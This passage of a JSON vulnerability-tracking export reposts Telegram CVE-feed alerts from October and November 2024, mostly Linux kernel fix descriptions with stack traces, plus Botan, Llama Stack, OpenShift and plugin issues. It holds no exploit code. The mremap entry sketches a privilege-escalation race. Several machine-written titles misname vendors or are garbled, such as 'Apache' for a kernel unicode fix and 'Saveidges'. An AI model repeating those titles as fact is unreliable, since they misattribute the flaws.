"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50125", "type": "seen", "source": "https://t.me/cvedetector/9919", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50125 - Linux Kernel Bluetooth SCO Use After Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50125 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nBluetooth: SCO: Fix UAF on sco_sock_timeout  \n  \nconn->sk maybe have been unlinked/freed while waiting for sco_conn_lock  \nso this checks if the conn->sk is still valid by checking if it part of  \nsco_sk_list. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:20.000000Z"}, {"uuid": "b3666b43-f12b-44cb-8a2d-3f36600fd116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50137", "type": "seen", "source": "https://t.me/cvedetector/9917", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50137 - StarFive JH7110 SoC NULL Pointer Dereference Vulnerability in Linux Kernel Boot Controller\", \n  \"Content\": \"CVE ID : CVE-2024-50137 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nreset: starfive: jh71x0: Fix accessing the empty member on JH7110 SoC  \n  \ndata->asserted will be NULL on JH7110 SoC since commit 82327b127d41  \n(\"reset: starfive: Add StarFive JH7110 reset driver\") was added. Add  \nthe judgment condition to avoid errors when calling reset_control_status  \non JH7110 SoC. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:18.000000Z"}, {"uuid": "f1a614ef-a42c-413d-8b1d-ac38a32419f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50136", "type": "seen", "source": "https://t.me/cvedetector/9916", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50136 - Mellanox MLX5 Unregistered Notifier Registration Warning\", \n  \"Content\": \"CVE ID : CVE-2024-50136 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/mlx5: Unregister notifier on eswitch init failure  \n  \nIt otherwise remains registered and a subsequent attempt at eswitch  \nenabling might trigger warnings of the sort:  \n  \n[  682.589148] ------------[ cut here ]------------  \n[  682.590204] notifier callback eswitch_vport_event [mlx5_core] already registered  \n[  682.590256] WARNING: CPU: 13 PID: 2660 at kernel/notifier.c:31 notifier_chain_register+0x3e/0x90  \n[...snipped]  \n[  682.610052] Call Trace:  \n[  682.610369]    \n[  682.610663]  ? __warn+0x7c/0x110  \n[  682.611050]  ? notifier_chain_register+0x3e/0x90  \n[  682.611556]  ? report_bug+0x148/0x170  \n[  682.611977]  ? handle_bug+0x36/0x70  \n[  682.612384]  ? exc_invalid_op+0x13/0x60  \n[  682.612817]  ? asm_exc_invalid_op+0x16/0x20  \n[  682.613284]  ? notifier_chain_register+0x3e/0x90  \n[  682.613789]  atomic_notifier_chain_register+0x25/0x40  \n[  682.614322]  mlx5_eswitch_enable_locked+0x1d4/0x3b0 [mlx5_core]  \n[  682.614965]  mlx5_eswitch_enable+0xc9/0x100 [mlx5_core]  \n[  682.615551]  mlx5_device_enable_sriov+0x25/0x340 [mlx5_core]  \n[  682.616170]  mlx5_core_sriov_configure+0x50/0x170 [mlx5_core]  \n[  682.616789]  sriov_numvfs_store+0xb0/0x1b0  \n[  682.617248]  kernfs_fop_write_iter+0x117/0x1a0  \n[  682.617734]  vfs_write+0x231/0x3f0  \n[  682.618138]  ksys_write+0x63/0xe0  \n[  682.618536]  do_syscall_64+0x4c/0x100  \n[  682.618958]  entry_SYSCALL_64_after_hwframe+0x4b/0x53 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:14.000000Z"}, {"uuid": "9883e558-7c90-493c-bcb6-ad943ad2d0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50135", "type": "seen", "source": "https://t.me/cvedetector/9915", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50135 - \"NVMe PCI Race Condition Allows Invalid Queue Values\"\", \n  \"Content\": \"CVE ID : CVE-2024-50135 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnvme-pci: fix race condition between reset and nvme_dev_disable()  \n  \nnvme_dev_disable() modifies the dev->online_queues field, therefore  \nnvme_pci_update_nr_queues() should avoid racing against it, otherwise  \nwe could end up passing invalid values to blk_mq_update_nr_hw_queues().  \n  \n WARNING: CPU: 39 PID: 61303 at drivers/pci/msi/api.c:347  \n          pci_irq_get_affinity+0x187/0x210  \n Workqueue: nvme-reset-wq nvme_reset_work [nvme]  \n RIP: 0010:pci_irq_get_affinity+0x187/0x210  \n Call Trace:  \n    \n  ? blk_mq_pci_map_queues+0x87/0x3c0  \n  ? pci_irq_get_affinity+0x187/0x210  \n  blk_mq_pci_map_queues+0x87/0x3c0  \n  nvme_pci_map_queues+0x189/0x460 [nvme]  \n  blk_mq_update_nr_hw_queues+0x2a/0x40  \n  nvme_reset_work+0x1be/0x2a0 [nvme]  \n  \nFix the bug by locking the shutdown_lock mutex before using  \ndev->online_queues. Give up if nvme_dev_disable() is running or if  \nit has been executed already. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:14.000000Z"}, {"uuid": "2254bbfd-31b1-4178-8dd4-5c4f2c236340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50133", "type": "seen", "source": "https://t.me/cvedetector/9914", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50133 - LoongArch Linux Kernel NULL Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50133 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nLoongArch: Don't crash in stack_top() for tasks without vDSO  \n  \nNot all tasks have a vDSO mapped, for example kthreads never do. If such  \na task ever ends up calling stack_top(), it will derefence the NULL vdso  \npointer and crash.  \n  \nThis can for example happen when using kunit:  \n  \n [<9000000000203874] stack_top+0x58/0xa8  \n [<90000000002956cc] arch_pick_mmap_layout+0x164/0x220  \n [<90000000003c284c] kunit_vm_mmap_init+0x108/0x12c  \n [<90000000003c1fbc] __kunit_add_resource+0x38/0x8c  \n [<90000000003c2704] kunit_vm_mmap+0x88/0xc8  \n [<9000000000410b14] usercopy_test_init+0xbc/0x25c  \n [<90000000003c1db4] kunit_try_run_case+0x5c/0x184  \n [<90000000003c3d54] kunit_generic_run_threadfn_adapter+0x24/0x48  \n [<900000000022e4bc] kthread+0xc8/0xd4  \n [<9000000000200ce8] ret_from_kernel_thread+0xc/0xa4 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:13.000000Z"}, {"uuid": "5c5dddbd-db48-4872-ae89-fd8d10e12038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50138", "type": "seen", "source": "https://t.me/cvedetector/9913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50138 - Qualcomm Linux BPF Ringbuf Spinlock Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50138 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Use raw_spinlock_t in ringbuf  \n  \nThe function __bpf_ringbuf_reserve is invoked from a tracepoint, which  \ndisables preemption. Using spinlock_t in this context can lead to a  \n\"sleep in atomic\" warning in the RT variant. This issue is illustrated  \nin the example below:  \n  \nBUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:48  \nin_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 556208, name: test_progs  \npreempt_count: 1, expected: 0  \nRCU nest depth: 1, expected: 1  \nINFO: lockdep is turned off.  \nPreemption disabled at:  \n[] migrate_enable+0xc0/0x39c  \nCPU: 7 PID: 556208 Comm: test_progs Tainted: G  \nHardware name: Qualcomm SA8775P Ride (DT)  \nCall trace:  \n dump_backtrace+0xac/0x130  \n show_stack+0x1c/0x30  \n dump_stack_lvl+0xac/0xe8  \n dump_stack+0x18/0x30  \n __might_resched+0x3bc/0x4fc  \n rt_spin_lock+0x8c/0x1a4  \n __bpf_ringbuf_reserve+0xc4/0x254  \n bpf_ringbuf_reserve_dynptr+0x5c/0xdc  \n bpf_prog_ac3d15160d62622a_test_read_write+0x104/0x238  \n trace_call_bpf+0x238/0x774  \n perf_call_bpf_enter.isra.0+0x104/0x194  \n perf_syscall_enter+0x2f8/0x510  \n trace_sys_enter+0x39c/0x564  \n syscall_trace_enter+0x220/0x3c0  \n do_el0_svc+0x138/0x1dc  \n el0_svc+0x54/0x130  \n el0t_64_sync_handler+0x134/0x150  \n el0t_64_sync+0x17c/0x180  \n  \nSwitch the spinlock to raw_spinlock_t to avoid this error. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:12.000000Z"}, {"uuid": "3950cab4-903d-4fce-8cfd-4cd1324d4d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50134", "type": "seen", "source": "https://t.me/cvedetector/9912", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50134 - Oracle VirtualBox Scatter Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50134 \nPublished : Nov. 5, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA  \n  \nReplace the fake VLA at end of the vbva_mouse_pointer_shape shape with  \na real VLA to fix a \"memcpy: detected field-spanning write error\" warning:  \n  \n[   13.319813] memcpy: detected field-spanning write (size 16896) of single field \"p->data\" at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 (size 4)  \n[   13.319841] WARNING: CPU: 0 PID: 1105 at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 hgsmi_update_pointer_shape+0x192/0x1c0 [vboxvideo]  \n[   13.320038] Call Trace:  \n[   13.320173]  hgsmi_update_pointer_shape [vboxvideo]  \n[   13.320184]  vbox_cursor_atomic_update [vboxvideo]  \n  \nNote as mentioned in the added comment it seems the original length  \ncalculation for the allocated and send hgsmi buffer is 4 bytes too large.  \nChanging this is not the goal of this patch, so this behavior is kept. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T19:44:11.000000Z"}, {"uuid": "93fd50fb-7fd9-487e-ae1c-a032455ba084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50097", "type": "seen", "source": "https://t.me/cvedetector/9909", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50097 - Linux Kernel fec PTP Unconditional Saveidges\", \n  \"Content\": \"CVE ID : CVE-2024-50097 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: fec: don't save PTP state if PTP is unsupported  \n  \nSome platforms (such as i.MX25 and i.MX27) do not support PTP, so on  \nthese platforms fec_ptp_init() is not called and the related members  \nin fep are not initialized. However, fec_ptp_save_state() is called  \nunconditionally, which causes the kernel to panic. Therefore, add a  \ncondition so that fec_ptp_save_state() is not called if PTP is not  \nsupported. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:54:00.000000Z"}, {"uuid": "b3bbdd8e-131f-4505-bccf-464e9c0c809f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50090", "type": "seen", "source": "https://t.me/cvedetector/9902", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50090 - \"Xe/OA Assertion Crash Due to Unchecked Batch Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-50090 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/xe/oa: Fix overflow in oa batch buffer  \n  \nBy default xe_bb_create_job() appends a MI_BATCH_BUFFER_END to batch  \nbuffer, this is not a problem if batch buffer is only used once but  \noa reuses the batch buffer for the same metric and at each call  \nit appends a MI_BATCH_BUFFER_END, printing the warning below and then  \noverflowing.  \n  \n[  381.072016] ------------[ cut here ]------------  \n[  381.072019] xe 0000:00:02.0: [drm] Assertion `bb->len * 4 + bb_prefetch(q->gt) <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:48.000000Z"}, {"uuid": "cbebd6bc-8bf2-4844-a99a-739b97ed1cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50089", "type": "seen", "source": "https://t.me/cvedetector/9901", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50089 - Apache Unicode Decomposition Case Folding Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50089 \nPublished : Nov. 5, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nunicode: Don't special case ignorable code points  \n  \nWe don't need to handle them separately. Instead, just let them  \ndecompose/casefold to themselves. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T18:53:48.000000Z"}, {"uuid": "892701b5-e2c3-4d20-99f0-afa1dd62c96e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50383", "type": "seen", "source": "https://t.me/cvedetector/8725", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50383 - Botan Compiler-Induced Carry Skipping Secret Dependence Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50383 \nPublished : Oct. 23, 2024, 5:15 p.m. | 33\u00a0minutes ago \nDescription : Botan before 3.6.0, when certain GCC versions are used, has a compiler-induced secret-dependent operation in lib/utils/donna128.h in donna128 (used in Chacha-Poly1305 and x25519). An addition can be skipped if a carry is not set. This was observed for GCC 11.3.0 with -O2 on MIPS, and GCC on x86-i386. (Only 32-bit processors can be affected.) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T19:54:21.000000Z"}, {"uuid": "1b7e420a-bb1c-4ef1-ae97-705eb4ee89e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50382", "type": "seen", "source": "https://t.me/cvedetector/8724", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50382 - Botan AES-GCM GHASH Compiler-Induced Secret-Dependent Control Flow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50382 \nPublished : Oct. 23, 2024, 5:15 p.m. | 33\u00a0minutes ago \nDescription : Botan before 3.6.0, when certain LLVM versions are used, has compiler-induced secret-dependent control flow in lib/utils/ghash/ghash.cpp in GHASH in AES-GCM. There is a branch instead of an XOR with carry. This was observed for Clang in LLVM 15 on RISC-V. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T19:54:20.000000Z"}, {"uuid": "ba710794-6774-4349-a14d-7fef74087d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50058", "type": "seen", "source": "https://t.me/cvedetector/8562", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50058 - \"Linux kernel Derefence in UART shutdown\"\", \n  \"Content\": \"CVE ID : CVE-2024-50058 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nserial: protect uart_port_dtr_rts() in uart_shutdown() too  \n  \nCommit af224ca2df29 (serial: core: Prevent unsafe uart port access, part  \n3) added few uport == NULL checks. It added one to uart_shutdown(), so  \nthe commit assumes, uport can be NULL in there. But right after that  \nprotection, there is an unprotected \"uart_port_dtr_rts(uport, false);\"  \ncall. That is invoked only if HUPCL is set, so I assume that is the  \nreason why we do not see lots of these reports.  \n  \nOr it cannot be NULL at this point at all for some reason :P.  \n  \nUntil the above is investigated, stay on the safe side and move this  \ndereference to the if too.  \n  \nI got this inconsistency from Coverity under CID 1585130. Thanks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:16.000000Z"}, {"uuid": "b20107e7-ab11-4eac-a5d2-62be530f7b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/cvedetector/8690", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50050 - Llama Stack Pickle Deserialization Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50050 \nPublished : Oct. 23, 2024, 2:15 p.m. | 51\u00a0minutes ago \nDescription : Llama Stack prior to revision 7a8aa775e5a267cf8660d83140011a0b7f91e005 used pickle as a serialization format for socket communication, potentially allowing for remote code execution. Socket communication has been changed to use JSON instead. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T17:23:17.000000Z"}, {"uuid": "020ecfc6-14b7-4541-bf2c-5f30acce868e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50066", "type": "seen", "source": "https://t.me/cvedetector/8674", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50066 - Linux Kernel tmpfs mremap Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50066 \nPublished : Oct. 23, 2024, 6:15 a.m. | 38\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmm/mremap: fix move_normal_pmd/retract_page_tables race  \n  \nIn mremap(), move_page_tables() looks at the type of the PMD entry and the  \nspecified address range to figure out by which method the next chunk of  \npage table entries should be moved.  \n  \nAt that point, the mmap_lock is held in write mode, but no rmap locks are  \nheld yet.  For PMD entries that point to page tables and are fully covered  \nby the source address range, move_pgt_entry(NORMAL_PMD, ...) is called,  \nwhich first takes rmap locks, then does move_normal_pmd().   \nmove_normal_pmd() takes the necessary page table locks at source and  \ndestination, then moves an entire page table from the source to the  \ndestination.  \n  \nThe problem is: The rmap locks, which protect against concurrent page  \ntable removal by retract_page_tables() in the THP code, are only taken  \nafter the PMD entry has been read and it has been decided how to move it.   \nSo we can race as follows (with two processes that have mappings of the  \nsame tmpfs file that is stored on a tmpfs mount with huge=advise); note  \nthat process A accesses page tables through the MM while process B does it  \nthrough the file rmap:  \n  \nprocess A                      process B  \n=========                      =========  \nmremap  \n  mremap_to  \n    move_vma  \n      move_page_tables  \n        get_old_pmd  \n        alloc_new_pmd  \n                      *** PREEMPT ***  \n                               madvise(MADV_COLLAPSE)  \n                                 do_madvise  \n                                   madvise_walk_vmas  \n                                     madvise_vma_behavior  \n                                       madvise_collapse  \n                                         hpage_collapse_scan_file  \n                                           collapse_file  \n                                             retract_page_tables  \n                                               i_mmap_lock_read(mapping)  \n                                               pmdp_collapse_flush  \n                                               i_mmap_unlock_read(mapping)  \n        move_pgt_entry(NORMAL_PMD, ...)  \n          take_rmap_locks  \n          move_normal_pmd  \n          drop_rmap_locks  \n  \nWhen this happens, move_normal_pmd() can end up creating bogus PMD entries  \nin the line `pmd_populate(mm, new_pmd, pmd_pgtable(pmd))`.  The effect  \ndepends on arch-specific and machine-specific details; on x86, you can end  \nup with physical page 0 mapped as a page table, which is likely  \nexploitable for user->kernel privilege escalation.  \n  \nFix the race by letting process B recheck that the PMD still points to a  \npage table after the rmap locks have been taken.  Otherwise, we bail and  \nlet the caller fall back to the PTE-level copying path, which will then  \nbail immediately at the pmd_none() check.  \n  \nBug reachability: Reaching this bug requires that you can create  \nshmem/file THP mappings - anonymous THP uses different code that doesn't  \nzap stuff under rmap locks.  File THP is gated on an experimental config  \nflag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need  \nshmem THP to hit this bug.  As far as I know, getting shmem THP normally  \nrequires that you can mount your own tmpfs with the right mount flags,  \nwhich would require creating your own user+mount namespace; though I don't  \nknow if some distros maybe enable shmem THP by default or something like  \nthat.  \n  \nBug impact: This issue can likely be used for user->kernel privilege  \nescalation when it is reachable. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T09:01:36.000000Z"}, {"uuid": "3e4f2055-2dd7-491f-8ea2-c34ec09dafea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50311", "type": "seen", "source": "https://t.me/cvedetector/8608", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50311 - OpenShift GraphQL Batching Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50311 \nPublished : Oct. 22, 2024, 2:15 p.m. | 46\u00a0minutes ago \nDescription : A denial of service (DoS) vulnerability was found in OpenShift. This flaw allows attackers to exploit the GraphQL batching functionality. The vulnerability arises when multiple queries can be sent within a single request, enabling an attacker to submit a request containing thousands of aliases in one query. This issue causes excessive resource consumption, leading to application unavailability for legitimate users. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T17:07:37.000000Z"}, {"uuid": "99ac1501-ba60-4cd9-872f-49bb386ef3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50312", "type": "seen", "source": "https://t.me/cvedetector/8607", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50312 - \"GraphQL Introspection Query Information Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-50312 \nPublished : Oct. 22, 2024, 2:15 p.m. | 46\u00a0minutes ago \nDescription : A vulnerability was found in GraphQL due to improper access controls on the GraphQL introspection query. This flaw allows unauthorized users to retrieve a comprehensive list of available queries and mutations. Exposure to this flaw increases the attack surface, as it can facilitate the discovery of flaws or errors specific to the application's GraphQL implementation. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T17:07:36.000000Z"}, {"uuid": "f32ab642-691b-42c1-ba2e-b37ebf2618fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50497", "type": "seen", "source": "https://t.me/cvedetector/9118", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50497 - BuyNowDepot Advanced Online Ordering and Delivery Platform PHP Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50497 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in BuyNowDepot Advanced Online Ordering and Delivery Platform allows PHP Local File Inclusion.This issue affects Advanced Online Ordering and Delivery Platform: from n/a through 2.0.0. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:32.000000Z"}, {"uuid": "b88b271f-aff9-459f-a46c-121f2cda4823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50502", "type": "seen", "source": "https://t.me/cvedetector/9117", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50502 - CozyThemes Cozy Blocks Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50502 \nPublished : Oct. 28, 2024, 1:15 p.m. | 42\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CozyThemes Cozy Blocks allows Stored XSS.This issue affects Cozy Blocks: from n/a through 2.0.18. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T15:19:31.000000Z"}, {"uuid": "dac4ef3d-7ae4-44d7-898f-f82eecc3c38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 